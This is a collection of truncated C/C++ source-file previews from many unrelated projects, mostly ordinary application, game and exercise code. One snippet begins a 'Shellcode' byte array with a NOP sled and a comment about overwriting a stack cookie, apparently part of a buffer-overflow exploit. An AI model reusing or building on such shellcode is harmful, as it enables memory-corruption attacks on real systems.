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#ifndef PERSFUNC_H #define PERSFUNC_H #include<string> #include "Person.h" #include"Female.h" using namespace std; Person* add(Person *p,int &n,string fileName); Person* findPerson(Person *p,string name,int n); void save(Person *p,int n,string fileName); void Parents(Person *p,int n,string filename); void...
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#include <iostream> #include <cstdio> #include <string.h> using namespace std; int main() { char str[100]; cout<<"Enter ur name: "; // cin>>str; // gets(str); cin.get(str,21); cout<<"Length of the str="<<strlen(str)<<endl; // string my_str; // cout<<"Enter ur name: "; // getline(cin,my...
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/** * @file GoogleVoiceAssistant.h * @author Alex Li (alex.li@tymphany.com) * @brief * @version 0.1 * @date 2018-10-29 * * @copyright Copyright (c) 2018 * */ #pragma once #include <condition_variable> #include <thread> #include "AudioStream.h" #include "KeyWordObserverInterface.h" #include "Player.h" #includ...
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/* * SimpleLock.h * * Created on: 2013.10.25 * Author: cjfeii@126.com */ #ifndef SIMPLELOCK_H__ #define SIMPLELOCK_H_ #include <time.h> using namespace std; // A simple exclusive lock. class SimpleLock { public: SimpleLock(); ~SimpleLock(); public: void lock(); bool tryLock(); void unlock(); priva...
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#include <cstdio> int __CRTDECL sscanf( _In_z_ char const* const _Buffer, _In_z_ _Scanf_format_string_ char const* const _Format, ...) { int _Result; va_list _ArgList; __crt_va_start(_ArgList, _Format); _Result = _vsscanf_l(_Buffer, _Format, NULL, _ArgList); __crt_...
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#ifndef MSG_GAME_UI_DIALOGWINDOW_HPP #define MSG_GAME_UI_DIALOGWINDOW_HPP #include "SFML/Graphics/RectangleShape.hpp" #include "SFML/Graphics/Text.hpp" #include "UI/Frame.hpp" class DialogComponent; class DialogWindow : public Frame { public: DialogWindow(); public: void open(DialogComponent& dialog); ...
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#include "global.h" import mf; Mf::Mf(std::filesystem::path filepath) try : Gba(filepath) { throw std::runtime_error("Invalid Metroid Fusion ROM"s); } LOG_RETHROW
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// Copyright 2019 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "third_party/blink/renderer/modules/scheduler/scheduler.h" #include "base/memory/weak_ptr.h" #include "third_party/blink/renderer/core/execution...
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#include <chess.h> #include <QDebug> #include <QPushButton> #include <QWidget> #include <QMessageBox> struct position Chess::setPosition(struct position pos){ button->setGeometry(pos.x, pos.y, 89, 91); return pos; } Chess::Chess(QGraphicsView *board, MainWindow *w, QIcon bIcon, struct position pos, bool team)...
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//////////////////////////////////////////////////////////////////////////////// // Copyright (c) 2014-2016, Lawrence Livermore National Security, LLC. // Produced at the Lawrence Livermore National Laboratory. // Written by the LBANN Research Team (B. Van Essen, et al.) listed in // the CONTRIBUTORS file. <lbann-dev...
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#include <iostream> using namespace std; int main(){ cout << "紅葉晚蕭蕭,長亭酒一瓢。"; cout << "殘雲歸太華,疏雨過中條。"; cout << "樹色隨關迥,河聲入海遙。"; cout << "帝鄉明日到,猶自夢漁礁。"; return 0; }
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/*----------------------------------------------------------------------------*/ /* COPYRIGHT: TriTime (c) 2003/2008 / ttcut.tritime.org */ /*----------------------------------------------------------------------------*/ /* PROJEKT : TTCUT 2005 ...
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/*! @file workflow.cc * @brief VELES workflow * @author Ernesto Sanches <ernestosanches@gmail.com> * @version 1.0 * * @section Notes * This code partially conforms to <a href="http://google-styleguide.googlecode.com/svn/trunk/cppguide.xml">Google C++ Style Guide</a>. * * @section Copyright * Copyright 2...
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#include <stdio.h> #include <QtCore/QFile> #include "ManagerConnection.h" ManagerConnection::ManagerConnection() : in(stdin, QIODevice::ReadOnly) , out(stdout, QIODevice::WriteOnly) { notifier = new QSocketNotifier(fileno(stdin), QSocketNotifier::Read, this); connect(notifier, SIGNAL(activated(int)),...
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#include "stdafx.h" //#include "iostream" //#include <fstream> #include "foolproof.h" void CheckFileExist(ifstream &File) { if (!File) { cout << "Ошибка чтения входного файла! Возможно, файла не существует.\n"; system("pause"); exit(1); } } void CheckEmptyFile(ifstream &File) { File.seekg (0, std::ios::end);...
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#include "FastLED.h" // How many leds in your strip? #define NUM_LEDS 16 #define LED 13 // For led chips like Neopixels, which have a data line, ground, and power, you just // need to define DATA_PIN. For led chipsets that are SPI based (four wires - data, clock, // ground, and power), like the LPD8806 define both ...
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#pragma once #include "../../JObject.hpp" namespace android::telephony { class SubscriptionPlan; } class JString; namespace java::time { class Period; } namespace java::time { class ZonedDateTime; } namespace android::telephony { class SubscriptionPlan_Builder : public JObject { public: // Fields // QJn...
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Jsfumato/Cpp_NEXT
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BoundCheck.cpp
// // BoundCheck.cpp // Cpp_Practice2 // // Created by Jsfumato on 2015. 9. 25.. // Copyright © 2015년 Jsfumato. All rights reserved. // #include <stdio.h> #include <iostream> #include "BoundCheck.h" using namespace std; //T* arr; //int arrlen; template <class T> BoundCheckArray<T>::BoundCheckArray(int len):arrl...
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/main.cpp
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main.cpp
#include "dna.h" #include "swap.h" #include "sort.h" #include <iostream> #include <string> #include <vector> using namespace std; int main() { // making dna objects to hold headers and strings DNA::DNA dna1 = DNA::DNA(">The big dog", "GATTACA"); DNA::DNA dna2 = DNA::DNA(">Apple land", "ATTAATTAGC");...
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#include <iostream> using namespace std; // сумму n членов арифметической прогрессии, если известны a1, d, n int main() { int a1, d, n; cin >> a1 >> d >> n; cout << ((a1 + (a1 + (n - 1) * d)) / 2) * n; return 0; }
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#pragma once #include <SFML/Graphics.hpp> class Player; class Guard; class Door; class Bomb; class Explosion; class Rock; class Present; class Wall; using sf::RenderTexture; using sf::RectangleShape; using sf::FloatRect; using sf::Vector2f; using sf::Texture; class Object { public: // c-tor Object(const Texture& t...
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#include "http/request/request.h" namespace http { namespace request { std::string request_to_string(const request& req) { std::string res = request_to_digest(req); res += "\r\n"; for (auto& it : req.headers) { res += it.first; res += ": "; res += it.second; res += "\r\n"; } res += "\r\...
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////////////////////////////////////////////////////////// // This class has been automatically generated on // Wed Jun 20 12:21:51 2012 by ROOT version 5.27/06b // from TTree t/akPu3PFpatJets Jet Analysis Tree // found on file: ../Pythia30_HydjetDrum_mix01_HiForest2_v19.root ///////////////////////////////////////////...
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#include <bits/stdc++.h> #define loop(i,a,b) for(int i=a;i<b;i++) #define loopr(i,a,b) for(int i=a;i>=b;i--) #define loops(i,a,b,step) for(int i=a;i<b;i+=step) #define looprs(i,a,b,step) for(int i=a;i>=b;i-=step) #define FILE_READ_IN freopen("input.txt","r",stdin); #define FILE_READ_OUT freopen("output.txt","w",stdout)...
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patch-src_tagread.cpp
--- src/tagread.cpp.orig 2013-10-03 09:22:51 UTC +++ src/tagread.cpp @@ -532,11 +532,11 @@ void AutoCompleter::Show(SciDoc*sci) if (no()&&sci->PrefixAtPos(part)) { FXint partlen=part.length(); FXint len=0; // save lots of reallocs by calculating overall length first - for (FXint i=first(); i<=last(); i=...
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// HR.h: interface for the CHR class. // ////////////////////////////////////////////////////////////////////// #if !defined(AFX_HR_H__0A75AF57_55A9_4988_A1BC_94B4B5D12092__INCLUDED_) #define AFX_HR_H__0A75AF57_55A9_4988_A1BC_94B4B5D12092__INCLUDED_ #if _MSC_VER > 1000 #pragma once #endif // _MSC_VER > 1000 #include ...
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AnimationLL.cpp
// AnimationLL.cpp written by david paull #include "stdafx.h" #include "resource.h" #include "globals.h" #include <assert.h> #include <stdio.h> #include "Mesh.h" #include "Bone.h" extern struct AnimationLL* pCurrentlySelectedAnimation; struct AnimationLL* AnimationLL_Insert( unsigned long SortKey, char* pNam...
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TheAnderliu/PROYECTO_HASSE_DISCRETA
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#pragma once #include"MyForm2.h" #include"Sistema.h" #include <string> using namespace std; namespace PROYECTO_HASSE_DISCRETA { using namespace System; using namespace System::ComponentModel; using namespace System::Collections; using namespace System::Windows::Forms; using namespace System::Data; using names...
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/*************************************************************************/ /** Copyright(c) Microsoft Corp., 1993-1999 **/ /*************************************************************************/ /************************************************************************** File ...
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CCaine.cpp
#include "CCaine.h" #include<iostream> using namespace std; void CCaine :: Citire() { cout << "Numele cainelui este: " << endl; cin >> nume; cin.get(); cout << "Inaltimea cainelui este: " << endl; cin >> inaltime; cout << "Greutatea cainelui este: " << endl; cin >> greutate; cout << "Varsta cainelui e...
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simeon-ng/battleshipServer
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client.h
// client.h // Simeon Ng // Header file for Battleship client class #ifndef BATTLESHIP_CLIENT_H #define BATTLESHIP_CLIENT_H #define _WIN32_WINNT 0x501 // used by ws2tcpip.h #ifndef WIN32_LEAN_AND_MEAN #define WIN32_LEAN_AND_MEAN #endif #include <windows.h> #include <winsock2.h> #include <ws2tcpip.h> #includ...
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BraedenKuether/CPP_Projects
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Monster.hpp
/* Skyrim Text Game Create by Braeden Kuether 8/16/2018 */ #ifndef MONSTER_H_ #define MONSTER_H_ #include <iostream> #include <cstdlib> #include <string> #include <vector> #include <cmath> #include "Space.hpp" using namespace std; class Monster : public Space { private: int strength; s...
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solution.cpp
/** * Definition for a binary tree node. * struct TreeNode { * int val; * TreeNode *left; * TreeNode *right; * TreeNode(int x) : val(x), left(NULL), right(NULL) {} * }; */ class Solution { public: int minDepth(TreeNode* root) { if(!root) return 0; vector<TreeNode*> trav_stack...
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#include "ObjectTreeContator.h"
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FVUtilities.h
#pragma once #include "GlobalDefs.h" #include "FVSEScaleform.h" #include "f4se/GameForms.h" #include "f4se/GameFormComponents.h" #include "f4se/GameReferences.h" #include "f4se/GameRTTI.h" #include "f4se/ScaleformMovie.h" #include "f4se/ScaleformValue.h" #include "RVA/RVA.h" #include <time.h> namespa...
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#include <gl/glut.h> class CVertex { public: CVertex() {} CVertex(float fv1, float fv2, float fv3, float fu, float fv, float fn1, float fn2, float fn3) { v[0] = fv1; v[1] = fv2; v[2] = fv3; t[0] = fu; t[1] = fv; n[0] = fn1; n[1] = fn2; n[2] = fn3; } float v[3]; flo...
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ofApp.cpp
#include "ofApp.h" #define WINDOW_WIDTH 1024 #define WINDOW_HEIGHT 768 #define FPS 60 #define BASE_DEBUG if(baseDebug) static const bool baseDebug = false; //-------------------------------------------------------------- void ofApp::setup(){ // Window shape ofSetWindowShape(WINDOW_WIDTH, WINDOW_HEIGHT); // F...
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showmake/Contest
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3624.cpp
#include <iostream> #include <cstring> #include <algorithm> #include <vector> #include <deque> #include <stack> #include <queue> #include <unordered_set> #include <unordered_map> #include <cmath> using namespace std; using ll= long long; using pii =pair<int,int> ; const int N=1e5+10; int n,T; unordered_map<int,int>...
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#include<string.h> #include<stdlib.h> char Shellcode[]= "\x90\x90\x90\x90\x90\x90\x90\x90" /* "\x90\x90\x90\x90"//new value of cookie in .data "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C" "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53" "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\...
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// -*- mode: c++; tab-width: 4; indent-tabs-mode: t; eval: (progn (c-set-style "stroustrup") (c-set-offset 'innamespace 0)); -*- // vi:set ts=4 sts=4 sw=4 noet : #ifndef __TEST_CONTOUR_SIMPLIFICATION_IO_CONTOURS_INTERSECT_H__ #define __TEST_CONTOUR_SIMPLIFICATION_IO_CONTOURS_INTERSECT_H__ #include <terrastream/common/...
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#include "Base.h" #include "FrozenBatchNorm2d.h" using namespace std; using namespace torch; using namespace Detectron2; /////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // not converted /* def _load_from_state_dict( self, state_dict, prefix, lo...
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// This file is part of CAF, the C++ Actor Framework. See the file LICENSE in // the main distribution directory for license terms and copyright or visit // https://github.com/actor-framework/actor-framework/blob/master/LICENSE. #include "caf/io/network/scribe_impl.hpp" #include "caf/io/network/default_multiplexer.hp...
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#include<iostream> /// model of rational fraction {m/n} class Fraction { private: int m; int n; public: Fraction(); Fraction(int m_, int n_); Fraction(double num); int Integer() const; double Decimal() const; void Set(int m_, int n_); in...
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#ifndef STORAGE_ROCKSDB_INCLUDE_KVPARSER_H_ #define STORAGE_ROCKSDB_INCLUDE_KVPARSER_H_ #include <string> #include <cstdio> #include <utility> namespace rocksdb{ class KVParser{ public: ~KVParser(){} std::pair<std::string, std::string> parse_line(std::string Line){ std::string toParse = Line; std::string ...
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#ifndef VI_READMULTIPOLYH_HH #define VI_READMULTIPOLYH_HH /*! \file vi-readmultipolyh.hh * Plik zawiera zapwiedź definicji funkcji czytającej i interpretującej * opis bryły złożonej. * \author Bogdan Kreczmer * \date 2004.06.07 */ #include <istream> #include "viexception.hh" #include "viscene.hh" class ...
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#ifndef GAME_H #define GAME_H #include <QGraphicsView> #include <QGraphicsScene> #include <QMouseEvent> #include <QString> #include<QMediaPlayer> #include "player.h" #include <QVector> #include "life.h" #include "score.h" #include "level.h" #include "button.h" class Game : public QGraphicsView{ Q_OBJECT public: ...
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#include <iostream> #include <fstream> #include <iomanip> #include <cmath> #include <cstdlib> using namespace std; const int BOARDER_SIZE = 75; int mainMenu(); int load(char pic[][BOARDER_SIZE]); int create(char pic[][BOARDER_SIZE]); int display(char pic[][BOARDER_SIZE]); int rotate(char pic[][BOARDER_SIZE...
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/*--------------------------------*- C++ -*----------------------------------*\ | ========= | | | \\ / F ield | OpenFOAM: The Open Source CFD Toolbox | | \\ / O peration | Version: 2.1.1 | ...
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/* * Copyright 2019-2020 Douglas Kaip * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed t...
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#include<bits/stdc++.h> #define ll long long using namespace std; int main() { ll int n,count=0; cin >> n; while(n>0) { int a = n%10; n = n/10; if(a==4 || a==7) count++; } if(count==4||count==7) cout << "YES" << endl; else cout << "NO" << e...
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/* This file is part of Daydream Engine. Copyright 2014 Adam Byléhn, Tobias Dahl, Simon Holmberg, Viktor Ljung Daydream Engine is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, either version 3 of the ...
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#include <cstdio> #include <cstring> #include <vector> #include <set> #include <algorithm> using std::vector; using std::set; using std::fill; const int MAXV=510; const int INF=0x3fffffff; struct Node{ int v,dis; Node(int _v,int _dis):v(_v),dis(_dis){} }; vector<Node> Adj[MAXV]; int n,m,st,ed,weight[MAXV]; int...
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#include<iostream> #include<fstream> using namespace std; int main() { ifstream in; ofstream out; in.open ("input.txt"); out.open("output.txt"); int N,conta=0; int *v,*d; bool flag; for(int i=0;i<10;i++) { in>>N; v=new int[N]; d=new int[N]; for(int j=0;j<N;j++) ...
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#include <stdio.h> #include <string.h> #include "types.h" #include "GeneUtils.h" #include "GenomeSegments.h" //---------------------------------------------------------------------------- // display // void display(ulong *pGenome, int iNumBlocks, GenomeSegments *pGS) { // pGS->showMasks(); int iNumSegm...
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// Copyright (c) 2012 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "content/browser/renderer_host/file_utilities_message_filter.h" #include "base/files/file_util.h" #include "base/task_scheduler/lazy_task_ru...
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#include "llvm/IR/LLVMContext.h" #include "llvm/IR/DebugInfo.h" #include "llvm/IR/Metadata.h" #include "llvm/IR/Module.h" #include "llvm/IRReader/IRReader.h" #include "llvm/Pass.h" #include "llvm/Support/raw_ostream.h" #include "llvm/Support/SourceMgr.h" #include "llvm/IR/InstIterator.h" #include "llvm/IR/CallSite.h" #...
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/*--------------------------------*- C++ -*----------------------------------*\ | ========= | | | \\ / F ield | OpenFOAM: The Open Source CFD Toolbox | | \\ / O peration | Version: 3.0.1 | ...
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#include "../../botpch.h" #include "../playerbot.h" #include <stdarg.h> #include <iomanip> #include "Engine.h" #include "../PlayerbotAIConfig.h" #include "../PerformanceMonitor.h" using namespace ai; using namespace std; Engine::Engine(PlayerbotAI* ai, AiObjectContext *factory, BotState state) : Playerbo...
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/* * This program calculates an hourly paycheck in a realistic manner. * * It takes as input: * 1. The employee's hourly rate * 2. The employee's worked hours * 3. The employee's amount of dependents * * The program outputs: * 1. The gross pay * 2. The amount witheld for each tax and deduction * 3. The ...
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// ConsoleApplication1.cpp : Defines the entry point for the console application. // Samuel Javorka, orezanie (cut) #include "stdafx.h" #include <stdlib.h> #include <string> #include "..\Library\Library.h" #include <iostream> void DisplayUsage(char * appPath) { char drive[_MAX_DRIVE]; char dir[_MAX_DIR...
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#ifndef Vertex_H_ #define Vertex_H_ #include <iostream> #include "Edge.h" class Vertex { friend class SpanningTree; friend class Graph; friend class Edge; private: char name[15]; Vertex* vNext; Edge* adj; public: Vertex(void); ~Vertex(void); void setname(char* c); }; #endif
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#include <cstdio> #include <cstdlib> #include <iostream> #include "formula_input.hpp" #include "std.tab.hpp" #include "../DPLL/global.hpp" using namespace std; extern FILE *stddin; extern FILE *stddout; extern int stddparse(void); extern Formula_input *res_std; Formula_input* parser_std() { // parse through the i...
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#include <debounce.h> #define led LED_BUILTIN Debounce sw(7); void setup() { Serial.begin(115200); pinMode(led, OUTPUT); } void loop() { if (sw.falling()){ Serial.println("Falling"); digitalWrite(led, 1 - digitalRead(led)); } }
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#ifndef DATADICTIONARY_H #define DATADICTIONARY_H #include <QMainWindow> #include <QtSql> #include <QDebug> #include <QMessageBox> #include <QInputDialog> namespace Ui { class DataDictionary; } class DataDictionary : public QMainWindow { Q_OBJECT public: explicit DataDictionary(QString use...
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#include<bits/stdc++.h> using namespace std; int main() { char s1[500]; char s2[500]; stack<string>stk; queue<string>qe; int a,b,c,d,i,j,k,l,n,t; cin>>n; getchar(); string s3=""; char ch[100]; for(t=1; t<=n; t++) { gets(s1); gets(s2); int len=strlen(s...
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indicator.cpp
/* * indicator.cpp * * Provides indicator functionality for the grid meter. * The current indicator is a BYJ48 geared stepper motor. * Homing is provided by an IR photoreflector. * */ /* * Arduino Includes */ #include <Arduino.h> #include <SoftwareSerial.h> #include "stepper.h" /* * Application Includes ...
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#include <bits/stdc++.h> #include <sys/socket.h> #include <netinet/ip.h> #include <stdlib.h> #include <stdio.h> #include <string.h> #include <netinet/tcp.h> #include <arpa/inet.h> using namespace std; unsigned short csum(unsigned short *ptr,int nbytes) { register long sum; unsigned short oddbyte; registe...
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#ifndef COMMON_UTILITIES_H #define COMMON_UTILITIES_H #include <string> namespace pocketbook { namespace utilities { // return 0 - successfull, 1 - error int RunAdobeScanner(const std::string& file_path, const std::string& png_path, int width = 0, int height = 0, bool metadata = true); } // namespace utilities } //...
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#include<bits/stdc++.h> using namespace std; #define int long long const int maxn=100000+10; int n,m; struct Node { int l,r; int sum1,sum2,sum3; int add,mul,alt; void Update_Alt(int x) { sum1 = (r-l+1) * x; sum2 = (r-l+1) * x * x; sum3 = (r-l+1) * x * x * x; alt=x; ...
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#include "mainwindow.h" #include "ui_mainwindow.h" MainWindow::MainWindow(QWidget *parent) : QMainWindow(parent), ui(new Ui::MainWindow) { ui->setupUi(this); // x_start = 324; // x_end = 905; // y_start = 571; // y_end = 198; // x_dim = 60; // y_dim = 36; // dimensions of green re...
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NumberOf1Between1AndN_Solution.cpp
class Solution { public: int NumberOf1Between1AndN_Solution(int n){ /*int ones = 0; for (long long m = 1; m <= n; m *= 10) ones += (n/m + 8) / 10 * m + (n/m % 10 == 1) * (n%m + 1); return ones;*/ int count = 0; for(int i = 0; i <= n; i++){ int te...
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#pragma once #include "il2cpp-config.h" #ifndef _MSC_VER # include <alloca.h> #else # include <malloc.h> #endif #include <stdint.h> // System.Action`2<OnlineMapsTile,UnityEngine.Material> struct Action_2_t2903233652; // System.Predicate`1<OnlineMapsMarker> struct Predicate_1_t1935136797; // System.Action`2<UnityEn...
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#ifndef UTIL_PREFS_H #define UTIL_PREFS_H #include <string> #include <map> #include <vector> #include <memory> #include <iostream> #include <fstream> #include <sstream> #include <type_traits> #include <typeinfo> #include "util.h" class prefs // TODO Move code into a .cpp file { private: struct base_pref { std::str...
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///////////////////////////////////////////////////////////////////////////// // Name: src/osx/core/colour.cpp // Purpose: wxColour class // Author: Stefan Csomor // Modified by: // Created: 1998-01-01 // Copyright: (c) Stefan Csomor // Licence: wxWindows licence //////////////////////////////...
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#include <iostream> #include <string> #include <string.h> #include <fstream> #include <iterator> #include <vector> #include <cstdlib> #include <bits/stdc++.h> #include "book.hpp" Book::Book(){} Book::Book(std::string name, std::string book){ this->name = name; this-> book = book; this-> year = 0; } void ...
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#include <iostream> using namespace std; template<class ... T> void func(T ... args) { cout<<"num is"<<sizeof ...(args)<<endl; } int main() { func(); func(1, 2, 3); return 0; }
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#ifndef PORT_HANDLER_H #define PORT_HANDLER_H #include <QObject> #include <QSerialPort> #include <QByteArray> #include <QTimer> #include "DataType.h" class PortHandler:public QObject{ Q_OBJECT public: PortHandler(QObject *parent=0); static bool commExists(); bool setPort(QSerialPort *...
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#include "client.hpp" #include "opcodes.hpp" #include "urls.hpp" #include "nlohmann/json.hpp" #include "rpp/rpp.hpp" #include "websocketpp/connection.hpp" #include <QDebug> #include <fstream> #include <map> // Timer namespace discord { Timer::Timer(Stop_Function const& stop) : stop(stop) {} void Timer::can...
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#include <IOKit/IOBufferMemoryDescriptor.h> #include <IOKit/IOLocks.h> #include "CPU.h" #include "Log.h" #include "Registers.h" #include "VMX.h" #include "KernelExports.h" CPU* cpu_new() { CPU* cpu = (CPU*)IOMalloc(sizeof(CPU)); if (!cpu) { LOG_ERROR("cpu_new: can't allocate CPU"); return NULL; } memset(cpu, ...
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SivQuaternion.cpp
//----------------------------------------------- // // This file is part of the Siv3D Engine. // // Copyright (c) 2008-2022 Ryo Suzuki // Copyright (c) 2016-2022 OpenSiv3D Project // // Licensed under the MIT License. // //----------------------------------------------- # include <Siv3D/Quaternion.hpp> # include <Si...
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crc32.cpp
#include<iostream> static const uint32_t table[] = { 0x00000000, 0xF26B8303, 0xE13B70F7, 0x1350F3F4, 0xC79A971F, 0x35F1141C, 0x26A1E7E8, 0xD4CA64EB, 0x8AD958CF, 0x78B2DBCC, 0x6BE22838, 0x9989AB3B, 0x4D43CFD0, 0xBF284CD3, 0xAC78BF27, 0x5E133C24, 0x105EC76F, 0xE235446C, 0xF165B798, 0x030E349B, 0xD7C45070, 0x25A...
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#include <iostream> using namespace std; int BinSearch(int n ,int arr[], int s) { if (n/2 <= s) { for(int i = n/2; i < n; i++) { if(arr[i]==s) return i; } }else { for (int i = 0; i < n/2; i++) { if (arr[i]==s) retur...
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#ifndef _SERVER_WEBKIT_WRAPPER_WEB_PAGE_H__ #define _SERVER_WEBKIT_WRAPPER_WEB_PAGE_H__ #include "qwebpage.h" class SWWebPage : public QWebPage { Q_OBJECT public slots: bool shouldInterruptJavaScript() {return true;}; public: SWWebPage(QObject* parent); virtual ~SWWebPage(); void clearHistory(); }; #endif...
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// TrayIconPosition.h: interface for the CTrayIconPosition class. // ////////////////////////////////////////////////////////////////////// #if !defined(AFX_TRAYICONPOSITION_H__9FD8A5A1_419F_11D7_B751_00304F20BD3B__INCLUDED_) #define AFX_TRAYICONPOSITION_H__9FD8A5A1_419F_11D7_B751_00304F20BD3B__INCLUDED_ #if _...
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$NetBSD$ --- chrome/browser/download/download_prefs.h.orig 2020-07-08 21:40:34.000000000 +0000 +++ chrome/browser/download/download_prefs.h @@ -110,7 +110,7 @@ class DownloadPrefs { // Disables auto-open based on file extension. void DisableAutoOpenByUserBasedOnExtension(const base::FilePath& file_name); -#if ...
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#ifndef BORDEREDCANVAS_H_ #define BORDEREDCANVAS_H_ #include <vector> #include "Canvas.h" using namespace std; class BorderedCanvas : public Canvas { public: //**** constructors ****// BorderedCanvas (const int & , const int &); //**** virtual functions ****// void clear(const char & = ' ') override; void...
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/******************************************************************************** ** Form generated from reading UI file 'dialog.ui' ** ** Created by: Qt User Interface Compiler version 5.9.9 ** ** WARNING! All changes made in this file will be lost when recompiling UI file! ********************************************...
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#include "game_engine.h" #include <stdexcept> using GameConstants::GameConstant; GameConstant GameEngine::whoseTurn(){ if(winner != GameConstant::CONTINUE) return GameConstant::EMPTY; return current_gamer; } GameEngine::GameEngine(const int& size, QObject* parent):QObject(parent) { pArray=nullptr...
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#ifndef AMBIENTLIGHT_H #define AMBIENTLIGHT_H #include <d3d11.h> #include <d3d11shader.h> #include "../../Game/Definitions.h" class AmbientLight { private: XMFLOAT4 color; char* lightName; bool isLightOn; public: AmbientLight() : color(XMFLOAT4(1.0f, 1.0f, 1.0f, 1.0f)), isLightOn (false){} Ambie...
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Audio1.cpp
// Generated by Haxe 3.4.4 (git build master @ 99b08bb) #include <hxcpp.h> #ifndef INCLUDED_c5728fd05c542abe #define INCLUDED_c5728fd05c542abe #include "cpp_float32array.h" #endif #ifndef INCLUDED_cpp_vm_Mutex #include <cpp/vm/Mutex.h> #endif #ifndef INCLUDED_haxe_io_Bytes #include <haxe/io/Bytes.h> #endif #ifndef INC...
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#pragma once #include <Eigen/Dense> using namespace Eigen; typedef Transform<float,3,Affine> AffineTransform;
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boolgame.cc
// https://www.codechef.com/APRIL21A/problems/BOOLGAME #include <bits/stdc++.h> using namespace std; using ll = long long; using vi = vector<ll>; using si = set<ll>; using vsi = vector<si>; using vvsi = vector<vsi>; int main() { cin.tie(0), ios::sync_with_stdio(0); ll t, n, m, k; cin >> t; while (t--) { c...
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#ifndef ACID_INCLUDE_ENTITY_DEATH_NODE_H_ #define ACID_INCLUDE_ENTITY_DEATH_NODE_H_ #include <node.h> #include <death_component.h> class EntityDeathNode: public Node<EntityDeathNode> { public: EntityDeathNode() { add_component<DeathComponent>(); } }; #endif // ACID_INCLUDE_ENTITY_DEATH_NODE_H_
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cpp_meta_01.cpp
#include<time.h> #include <iostream> template<typename T, int i=1> class someComputing { public: typedef volatile T* retType; // 类型计算 enum { retValume = i + someComputing<T, i-1>::retValume }; // 数值计算,递归 static void f() { std::cout << "someComputing: i=" << i << '\n'; } }; template<typename T> //...
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/** * Copyright (c) 2014-present, Facebook, Inc. * All rights reserved. * * This source code is licensed under the BSD-style license found in the * LICENSE file in the root directory of this source tree. */ /* * Bigram.cpp * * Created on: Jun 24, 2015 * Author: ldemailly */ #include "wdt/bench/Bigram....